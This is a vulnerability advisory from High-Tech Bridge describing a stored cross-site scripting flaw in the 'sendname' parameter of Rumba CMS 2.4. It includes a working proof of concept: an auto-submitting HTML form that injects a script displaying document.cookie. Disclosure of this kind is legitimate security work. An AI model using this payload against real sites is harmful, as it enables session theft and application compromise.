XSS vulnerability in Rumba CMS tags

Vulnerability ID: HTB22591
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms.html
Product: Rumba CMS
Vendor: Rumba Netware Ltd. ( http://rumbacms.com )
Vulnerable Version: 2.4 and Probably Prior Versions
Vendor Notification: 18 August 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "sendname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php&quot; method="post" name="main" >

<input type="hidden" name="sendtags" value="cms" />
<input type="hidden" name="sendid" value="newtag" />
<input type="hidden" name="sendname" value='New tag"><script>alert(document.cookie)</script>' />
<input type="hidden" name="event" value="add_tag" />

</form>
<script>
document.main.submit();
</script>